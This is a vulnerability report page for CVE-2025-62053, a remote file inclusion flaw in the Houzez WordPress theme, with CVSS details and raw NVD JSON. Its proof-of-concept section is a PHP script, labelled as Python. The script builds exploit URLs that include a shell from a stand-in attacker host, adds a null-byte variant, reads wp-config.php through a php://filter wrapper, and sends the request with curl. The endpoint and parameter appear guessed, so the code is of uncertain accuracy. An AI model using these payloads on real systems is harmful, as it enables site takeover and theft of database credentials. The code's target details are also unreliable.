Security Vulnerability Report
中文
CVE-2025-62053 CVSS 8.1 HIGH

CVE-2025-62053

Published: 2025-11-06 16:16:12
Last Modified: 2026-04-27 18:16:25

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in favethemes Houzez houzez.This issue affects Houzez: from n/a through < 4.2.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Houzez WordPress主题 < 4.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-62053 PoC - Houzez Theme Remote File Inclusion * Affected: Houzez WordPress Theme < 4.2.0 * Type: Remote File Inclusion (RFI) * CVSS: 8.1 (High) */ // Attack vector demonstration $target_url = 'http://target-site.com/wp-content/themes/houzez/' . 'template-parts/ajax_functions.php'; // Malicious file hosted on attacker-controlled server $malicious_file = 'http://attacker.com/shell.txt'; // Construct the exploit URL with file parameter $exploit_url = $target_url . '?file=' . urlencode($malicious_file); // Alternative: Using null byte injection (legacy PHP) $exploit_url_alt = $target_url . '?file=' . urlencode($malicious_file . '%00'); // Alternative: PHP wrapper exploitation $wrapper_exploit = $target_url . '?file=php://filter/read=convert.base64-encode' . '/resource=wp-config.php'; echo "Target: $target_url\n"; echo "Malicious File: $malicious_file\n"; echo "Exploit URL: $exploit_url\n"; echo "Alternative: $exploit_url_alt\n"; echo "File Read: $wrapper_exploit\n"; // Curl request to exploit $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "HTTP Response Code: $http_code\n"; echo "Response: $response\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62053", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:11.733", "lastModified": "2026-04-27T18:16:24.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in favethemes Houzez houzez.This issue affects Houzez: from n/a through < 4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/houzez/vulnerability/wordpress-houzez-theme-4-2-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}